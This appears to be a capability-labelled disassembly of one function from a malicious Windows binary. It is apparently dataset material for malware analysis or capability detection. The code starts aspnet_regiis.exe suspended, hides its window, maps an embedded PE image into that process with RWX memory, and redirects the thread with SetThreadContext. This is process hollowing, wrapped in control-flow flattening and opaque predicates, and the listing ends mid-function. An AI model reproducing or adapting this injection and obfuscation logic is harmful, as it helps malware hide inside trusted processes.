Function at 0x100030b0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x160
mov eax, dword [0x10065000]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x168], 0x1132d49a
mov eax, dword [ebp - 0x168]
mov dword [ebp - 0x16c], eax
sub eax, 0x83197e47
je 0x10003f8b
jmp 0x100030ec
mov eax, dword [ebp - 0x16c]
sub eax, 0x84602e45
je 0x1000508f
jmp 0x10003102
mov eax, dword [ebp - 0x16c]
sub eax, 0x8991dd3d
je 0x10005544
jmp 0x10003118
mov eax, dword [ebp - 0x16c]
sub eax, 0x8a6e75c1
je 0x1000587a
jmp 0x1000312e
mov eax, dword [ebp - 0x16c]
sub eax, 0x8b37b4eb
je 0x10005898
jmp 0x10003144
mov eax, dword [ebp - 0x16c]
sub eax, 0x8b928f6f
je 0x10004d25
jmp 0x1000315a
mov eax, dword [ebp - 0x16c]
sub eax, 0x8b9b91e0
je 0x10003bee
jmp 0x10003170
mov eax, dword [ebp - 0x16c]
sub eax, 0x8fac15f1
je 0x100053dd
jmp 0x10003186
mov eax, dword [ebp - 0x16c]
sub eax, 0x8fbad881
je 0x10005a48
jmp 0x1000319c
mov eax, dword [ebp - 0x16c]
sub eax, 0x900208a9
je 0x10004db3
jmp 0x100031b2
mov eax, dword [ebp - 0x16c]
sub eax, 0x92b87566
je 0x100050d0
jmp 0x100031c8
mov eax, dword [ebp - 0x16c]
sub eax, 0x9858aafc
je 0x1000585f
jmp 0x100031de
mov eax, dword [ebp - 0x16c]
sub eax, 0x9c3499bf
je 0x100052b9
jmp 0x100031f4
mov eax, dword [ebp - 0x16c]
sub eax, 0x9c6dbab5
je 0x10005055
jmp 0x1000320a
mov eax, dword [ebp - 0x16c]
sub eax, 0xa0351baf
je 0x100058bc
jmp 0x10003220
mov eax, dword [ebp - 0x16c]
sub eax, 0xa21f5f0a
je 0x10004cc5
jmp 0x10003236
mov eax, dword [ebp - 0x16c]
sub eax, 0xa3e87c07
je 0x1000529b
jmp 0x1000324c
mov eax, dword [ebp - 0x16c]
sub eax, 0xa3ebd57c
je 0x1000484d
jmp 0x10003262
mov eax, dword [ebp - 0x16c]
sub eax, 0xa4084acc
je 0x100047d7
jmp 0x10003278
mov eax, dword [ebp - 0x16c]
sub eax, 0xa4f6d3ee
je 0x100047b1
jmp 0x1000328e
mov eax, dword [ebp - 0x16c]
sub eax, 0xa689a409
je 0x1000528c
jmp 0x100032a4
mov eax, dword [ebp - 0x16c]
sub eax, 0xadd7ef17
je 0x100052e0
jmp 0x100032ba
mov eax, dword [ebp - 0x16c]
sub eax, 0xb06f2bd8
je 0x10004c74
jmp 0x100032d0
mov eax, dword [ebp - 0x16c]
sub eax, 0xb1330d10
je 0x100046f8
jmp 0x100032e6
mov eax, dword [ebp - 0x16c]
sub eax, 0xb1547d14
je 0x1000565d
jmp 0x100032fc
mov eax, dword [ebp - 0x16c]
sub eax, 0xb23b793c
je 0x10004e82
jmp 0x10003312
mov eax, dword [ebp - 0x16c]
sub eax, 0xb5725e38
je 0x10004f1e
jmp 0x10003328
mov eax, dword [ebp - 0x16c]
sub eax, 0xb5806243
je 0x10003d04
jmp 0x1000333e
mov eax, dword [ebp - 0x16c]
sub eax, 0xb5e11b4b
je 0x100049a6
jmp 0x10003354
mov eax, dword [ebp - 0x16c]
sub eax, 0xb6fd121b
je 0x10005889
jmp 0x1000336a
mov eax, dword [ebp - 0x16c]
sub eax, 0xb955508b
je 0x10004784
jmp 0x10003380
mov eax, dword [ebp - 0x16c]
sub eax, 0xbb45abe5
je 0x10004001
jmp 0x10003396
mov eax, dword [ebp - 0x16c]
sub eax, 0xbc65548a
je 0x10004e04
jmp 0x100033ac
mov eax, dword [ebp - 0x16c]
sub eax, 0xc01c8a22
je 0x10003d70
jmp 0x100033c2
mov eax, dword [ebp - 0x16c]
sub eax, 0xc12637ab
je 0x10004e61
jmp 0x100033d8
mov eax, dword [ebp - 0x16c]
sub eax, 0xc31721cb
je 0x1000566c
jmp 0x100033ee
mov eax, dword [ebp - 0x16c]
sub eax, 0xc70ef73b
je 0x10004a05
jmp 0x10003404
mov eax, dword [ebp - 0x16c]
sub eax, 0xc738f4d9
je 0x10005495
jmp 0x1000341a
mov eax, dword [ebp - 0x16c]
sub eax, 0xc78d167d
je 0x100041d7
jmp 0x10003430
mov eax, dword [ebp - 0x16c]
sub eax, 0xc7a1afb4
je 0x100048aa
jmp 0x10003446
mov eax, dword [ebp - 0x16c]
sub eax, 0xc8bce760
je 0x100048b9
jmp 0x1000345c
mov eax, dword [ebp - 0x16c]
sub eax, 0xc93132af
je 0x10005779
jmp 0x10003472
mov eax, dword [ebp - 0x16c]
sub eax, 0xc9815dd9
je 0x1000430a
jmp 0x10003488
mov eax, dword [ebp - 0x16c]
sub eax, 0xcbf3e376
je 0x10005571
jmp 0x1000349e
mov eax, dword [ebp - 0x16c]
sub eax, 0xcc9f4f0b
je 0x10005924
jmp 0x100034b4
mov eax, dword [ebp - 0x16c]
sub eax, 0xccbb111f
je 0x10003e02
jmp 0x100034ca
mov eax, dword [ebp - 0x16c]
sub eax, 0xccc709a1
je 0x10005356
jmp 0x100034e0
mov eax, dword [ebp - 0x16c]
sub eax, 0xcd22ddf1
je 0x100043c9
jmp 0x100034f6
mov eax, dword [ebp - 0x16c]
sub eax, 0xd1f37319
je 0x1000532d
jmp 0x1000350c
mov eax, dword [ebp - 0x16c]
sub eax, 0xd290820f
je 0x100054de
jmp 0x10003522
mov eax, dword [ebp - 0x16c]
sub eax, 0xd507bc04
je 0x1000434c
jmp 0x10003538
mov eax, dword [ebp - 0x16c]
sub eax, 0xd6e71157
je 0x10005800
jmp 0x1000354e
mov eax, dword [ebp - 0x16c]
sub eax, 0xdae0b62c
je 0x100051eb
jmp 0x10003564
mov eax, dword [ebp - 0x16c]
sub eax, 0xdb274c00
je 0x10004160
jmp 0x1000357a
mov eax, dword [ebp - 0x16c]
sub eax, 0xdb75661f
je 0x10004b27
jmp 0x10003590
mov eax, dword [ebp - 0x16c]
sub eax, 0xdbf7f6f2
je 0x10004bd7
jmp 0x100035a6
mov eax, dword [ebp - 0x16c]
sub eax, 0xdcdf3e58
je 0x10005180
jmp 0x100035bc
mov eax, dword [ebp - 0x16c]
sub eax, 0xe0490fbf
je 0x10004a5c
jmp 0x100035d2
mov eax, dword [ebp - 0x16c]
sub eax, 0xe41a6e0f
je 0x10005a39
jmp 0x100035e8
mov eax, dword [ebp - 0x16c]
sub eax, 0xe4ed4c0d
je 0x10003e8a
jmp 0x100035fe
mov eax, dword [ebp - 0x16c]
sub eax, 0xea9a7884
je 0x10005948
jmp 0x10003614
mov eax, dword [ebp - 0x16c]
sub eax, 0xebecaf00
je 0x10005486
jmp 0x1000362a
mov eax, dword [ebp - 0x16c]
sub eax, 0xed8e8b31
je 0x10004688
jmp 0x10003640
mov eax, dword [ebp - 0x16c]
sub eax, 0xf094e10e
je 0x10003e23
jmp 0x10003656
mov eax, dword [ebp - 0x16c]
sub eax, 0xf27d270d
je 0x10004697
push eax
mov eax, esp
mov dword [ebp - 0xfc], eax
push eax
mov eax, esp
mov dword [ebp - 0xf8], eax
push eax
mov eax, esp
mov dword [ebp - 0xf4], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.10001470
add esp, 4
lea eax, str.ntdll.dll
sub esp, 4
mov dword [esp], eax
call fcn.10001470
add esp, 4
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x4c000
call section..text
add esp, 8
lea eax, section..data
mov dword [ebp - 0x11c], eax
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0x120], eax
mov eax, dword [ebp - 0x120]
movzx eax, word [eax]
cmp eax, 0x5a4d
sete al
and al, 1
mov byte [ebp - 0xed], al
mov eax, dword [0x10066338]
mov ecx, dword [0x10066334]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc93132af
mov ecx, 0xfb6c5299
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10005a52
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0xec], eax
mov dword [ebp - 0x168], 0x5bbeef36
jmp 0x10005a52
mov eax, dword [ebp - 0x120]
mov edx, dword [eax + 0x3c]
mov eax, dword [ebp - 0xec]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x128], eax
mov eax, dword [ebp - 0x128]
cmp dword [eax], 0x4550
sete al
and al, 1
mov byte [ebp - 0xe5], al
mov eax, dword [0x10066338]
mov ecx, dword [0x10066334]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd6e71157
mov ecx, 0xf993fe17
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10005a52
mov dl, byte [ebp - 0xe5]
mov eax, 0xc31721cb
mov ecx, 0xf094e10e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10005a52
lea eax, [ebp - 0x20]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.10006ce0
add esp, 0xc
lea eax, [ebp - 0x64]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.10006ce0
add esp, 0xc
mov eax, dword [ebp - 0x128]
add eax, 0x18
add eax, 0x60
mov dword [ebp - 0xe4], eax
mov dword [ebp - 0x168], 0xe4ed4c0d
jmp 0x10005a52
mov eax, dword [0x10066338]
mov ecx, dword [0x10066334]
mov edx, eax
add edx, 0xf848fb54
sub edx, 1
sub edx, 0xf848fb54
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa51f1bf
mov ecx, 0x674cc01a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10005a52
mov ecx, dword [0x10066338]
mov eax, dword [0x10066334]
mov edx, ecx
add edx, 0xe88da28
sub edx, 1
sub edx, 0xe88da28
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x9858aafc
mov ecx, 0xbb45abe5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10005a52
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [ebp - 0x130], eax
mov eax, dword [0x10066338]
mov ecx, dword [0x10066334]
mov edx, eax
add edx, 0x272665a3
sub edx, 1
sub edx, 0x272665a3
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9858aafc
mov ecx, 0x64128cfc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10005a52
mov edx, dword [ebp - 0x130]
xor eax, eax
lea ecx, [ebp - 0x64]
lea eax, [ebp - 0x20]
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0xd9], al
mov dword [ebp - 0x168], 0xc78d167d
jmp 0x10005a52
mov eax, dword [0x10066338]
mov ecx, dword [0x10066334]
mov edx, eax
sub edx, 0xe5a8e62a
sub edx, 1
add edx, 0xe5a8e62a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb6fd121b
mov ecx, 0x56d804a9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10005a52
mov eax, dword [ebp - 0xd8]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0x124]
mov ecx, dword [ebp - 0x1c]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov edx, eax
mov eax, 0xc738f4d9
mov ecx, 0xd507bc04
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10005a52
mov eax, dword [ebp - 0x20]
sub esp, 4
mov dword [esp], eax
call fcn.10002a00
add esp, 4
mov dword [ebp - 0x134], eax
mov eax, dword [ebp - 0x128]
mov eax, dword [eax + 0xa4]
mov dword [ebp - 0x154], eax
mov eax, dword [ebp - 0x128]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0x128]
mov ecx, dword [ecx + 0x34]
mov edx, dword [ebp - 0x20]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0xd4], eax
mov dword [ebp - 0x168], 0xcd22ddf1
jmp 0x10005a52
mov eax, dword [0x10066338]
mov ecx, dword [0x10066334]
mov edx, eax
add edx, 0x6a2ccead
sub edx, 1
sub edx, 0x6a2ccead
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8b37b4eb
mov ecx, 0xcee55f9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10005a52
mov dword [ebp - 0x168], 0xf27d270d
jmp 0x10005a52
mov eax, dword [ebp - 0xc0]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xc4]
add eax, ecx
add eax, 4
add eax, 0x14
mov ecx, dword [ebp - 0x128]
movzx ecx, word [ecx + 0x14]
add eax, ecx
mov dword [ebp - 0x160], eax
mov eax, dword [ebp - 0x128]
xor ecx, ecx
sub ecx, 0x18
sub eax, ecx
mov ecx, dword [ebp - 0x128]
movzx ecx, word [ecx + 0x14]
sub eax, 0xc026d60c
add eax, ecx
add eax, 0xc026d60c
mov dword [ebp - 0x164], eax
mov eax, dword [ebp - 0x118]
mov dword [eax], 0
mov eax, dword [ebp - 0x128]
mov ecx, dword [eax + 0xa0]
mov eax, dword [ebp - 0x114]
mov dword [eax], ecx
mov eax, dword [ebp - 0x110]
mov dword [eax], 0
mov dword [ebp - 0x168], 0xb955508b
jmp 0x10005a52
mov eax, dword [ebp - 0x110]
mov eax, dword [eax]
mov dword [ebp - 0xbc], eax
mov eax, dword [ebp - 0x128]
movzx eax, word [eax + 6]
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0x168], 0xa4f6d3ee
jmp 0x10005a52
mov edx, dword [ebp - 0xbc]
mov esi, dword [ebp - 0xb8]
mov eax, 0x7ebb894
mov ecx, 0xa4084acc
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10005a52
mov ecx, dword [0x10066338]
mov eax, dword [0x10066334]
mov edx, ecx
add edx, 0x4956f832
sub edx, 1
sub edx, 0x4956f832
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe59dba4
mov ecx, 0xa3ebd57c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10005a52
mov eax, dword [ebp - 0x160]
mov dword [ebp - 0xb4], eax
mov eax, dword [0x10066338]
mov ecx, dword [0x10066334]
mov edx, eax
add edx, 0x72bfe1dd
sub edx, 1
sub edx, 0x72bfe1dd
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe59dba4
mov ecx, 0xc7a1afb4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10005a52
mov dword [ebp - 0x168], 0xc8bce760
jmp 0x10005a52
mov eax, dword [ebp - 0x110]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xb4]
imul ecx, ecx, 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov ecx, dword [ebp - 0x11c]
mov edx, dword [ebp - 0x160]
mov esi, dword [ebp - 0x110]
imul esi, dword [esi], 0x28
add edx, esi
mov esi, dword [edx + 0x14]
xor edx, edx
sub edx, esi
sub ecx, edx
mov edx, dword [ebp - 0x68]
mov esi, dword [ebp - 0x160]
mov edi, dword [ebp - 0x110]
imul edi, dword [edi], 0x28
add esi, edi
mov esi, dword [esi + 0xc]
sub edx, 0xae0735
add edx, esi
add edx, 0xae0735
mov esi, dword [ebp - 0x20]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x128]
mov eax, dword [eax + 0x38]
mov ecx, dword [ebp - 0x160]
mov edx, dword [ebp - 0x110]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0x10]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10002fe0
add esp, 8
mov ecx, eax
mov eax, dword [ebp - 0x10c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x114]
mov edx, dword [eax]
mov esi, dword [ebp - 0x160]
mov eax, dword [ebp - 0x110]
imul eax, dword [eax], 0x28
add esi, eax
mov eax, 0x57473fcf
mov ecx, 0xb5e11b4b
cmp edx, dword [esi + 0xc]
cmovae eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10005a52
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0x168], 0x6344d9e
jmp 0x10005a52
mov eax, dword [ebp - 0x11c]
mov ecx, dword [ebp - 0x160]
mov edx, dword [ebp - 0x110]
imul edx, dword [edx], 0x28
add ecx, edx
add eax, dword [ecx + 0x14]
mov dword [ebp - 0xac], eax
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
mov dword [ebp - 0xa8], eax
mov eax, dword [ebp - 0x160]
mov ecx, dword [ebp - 0x110]
imul ecx, dword [ecx], 0x28
add eax, ecx
add eax, 0xc
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0x168], 0xe0490fbf
jmp 0x10005a52
mov eax, dword [ebp - 0xa4]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xa8]
sub eax, 0x2a527690
sub eax, ecx
add eax, 0x2a527690
mov ecx, dword [ebp - 0xac]
add ecx, eax
mov eax, dword [ebp - 0x118]
mov dword [eax], ecx
mov dword [ebp - 0x168], 0x57473fcf
jmp 0x10005a52
mov dword [ebp - 0x168], 0x5753a26c
jmp 0x10005a52
mov edx, dword [ebp - 0x98]
mov esi, dword [ebp - 0x128]
mov eax, 0xccc709a1
mov ecx, 0xfffa23ac
cmp edx, dword [esi + 0x34]
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10005a52
mov eax, dword [0x10066338]
mov ecx, dword [0x10066334]
mov edx, eax
sub edx, 0x112a68f4
sub edx, 1
add edx, 0x112a68f4
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcc9f4f0b
mov ecx, 0xa21f5f0a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10005a52
mov dword [ebp - 0x168], 0x7b900c18
jmp 0x10005a52
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
add eax, 4
mov dword [ebp - 0x94], eax
mov ecx, dword [0x10066338]
mov eax, dword [0x10066334]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xf6ceb3d5
mov ecx, 0x27ab763d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10005a52
mov eax, dword [0x10066338]
mov ecx, dword [0x10066334]
mov edx, eax
add edx, 0xd766d62d
sub edx, 1
sub edx, 0xd766d62d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xea9a7884
mov ecx, 0xbc65548a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10005a52
mov eax, dword [ebp - 0x94]
cmp dword [eax], 0
setne al
and al, 1
mov byte [ebp - 0x8d], al
mov eax, dword [0x10066338]
mov ecx, dword [0x10066334]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xea9a7884
mov ecx, 0xc12637ab
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10005a52
mov dl, byte [ebp - 0x8d]
mov eax, 0x4c73cbc8
mov ecx, 0xb23b793c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10005a52
mov eax, dword [ebp - 0x118]
mov ecx, dword [eax]
add ecx, 0xe7e4286d
add ecx, 8
sub ecx, 0xe7e4286d
mov eax, dword [ebp - 0x108]
mov dword [eax], ecx
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x168], 0x382fbd96
jmp 0x10005a52
mov ecx, dword [0x10066338]
mov eax, dword [0x10066334]
mov edx, ecx
add edx, 0x52e069f9
sub edx, 1
sub edx, 0x52e069f9
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf8ef84c2
mov ecx, 0x5463d2b2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10005a52
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xfc]
mov ecx, dword [ecx]
movzx ecx, word [eax + ecx*2]
mov edx, 0xffffffff
xor edx, 0xf000
mov eax, ecx
xor eax, edx
and eax, ecx
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x168], 0x84602e45
jmp 0x10005a52
mov edx, dword [ebp - 0x84]
mov eax, 0xb1d65b0
mov ecx, 0x28ebc4e2
cmp edx, 3
cmove eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10005a52
mov eax, dword [ebp - 0x7c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x80]
sub ecx, 0xb02c012b
add ecx, eax
add ecx, 0xb02c012b
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
mov edx, dword [ebp - 0xfc]
mov edx, dword [edx]
movzx edx, word [eax + edx*2]
xor edx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xfff
mov eax, 0xffffffff
xor eax, 0xdaf100ab
or edx, esi
or eax, 0xdaf100ab
xor edx, 0xffffffff
and edx, eax
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0xf8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xf4]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov edx, eax
mov eax, 0xa3e87c07
mov ecx, 0xdcdf3e58
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10005a52
mov eax, dword [ebp - 0x100]
mov eax, dword [eax]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x168], 0x13ed35b7
jmp 0x10005a52
mov eax, dword [ebp - 0xf4]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x78]
add ecx, 0x2d2971e4
add ecx, eax
sub ecx, 0x2d2971e4
mov eax, dword [ebp - 0xf4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xf4]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [0x10066338]
mov ecx, dword [0x10066334]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x53801c92
mov ecx, 0xa689a409
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10005a52
mov dword [ebp - 0x168], 0xa3e87c07
jmp 0x10005a52
mov dword [ebp - 0x168], 0xb1d65b0
jmp 0x10005a52
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
sub eax, 0x275bebc4
add eax, 1
add eax, 0x275bebc4
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x168], 0xadd7ef17
jmp 0x10005a52
mov eax, dword [ebp - 0xfc]
mov ecx, dword [ebp - 0x74]
mov dword [eax], ecx
mov dword [ebp - 0x168], 0xb5725e38
jmp 0x10005a52
mov ecx, dword [ebp - 0x70]
mov eax, dword [ebp - 0x118]
mov dword [eax], ecx
mov dword [ebp - 0x168], 0x7b900c18
jmp 0x10005a52
mov ecx, dword [ebp - 0x134]
xor eax, eax
sub eax, 8
sub ecx, eax
mov edx, dword [ebp - 0x20]
lea eax, [ebp - 0x68]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x128]
mov eax, dword [eax + 0x28]
sub ecx, 0xb9aaea02
add ecx, eax
add ecx, 0xb9aaea02
mov eax, dword [ebp - 0x124]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0x124]
mov ecx, dword [ebp - 0x1c]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov dword [ebp - 0x168], 0x8fac15f1
jmp 0x10005a52
mov eax, dword [0x10066338]
mov ecx, dword [0x10066334]
mov edx, eax
sub edx, 0x4ded6306
sub edx, 1
add edx, 0x4ded6306
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x356cc412
mov ecx, 0xffddd360
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10005a52
mov dword [ebp - 0x168], 0xc738f4d9
jmp 0x10005a52
mov eax, dword [0x10066338]
mov ecx, dword [0x10066334]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1bafbc20
mov ecx, 0xd290820f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10005a52
mov eax, dword [ebp - 0x1c]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x6c], eax
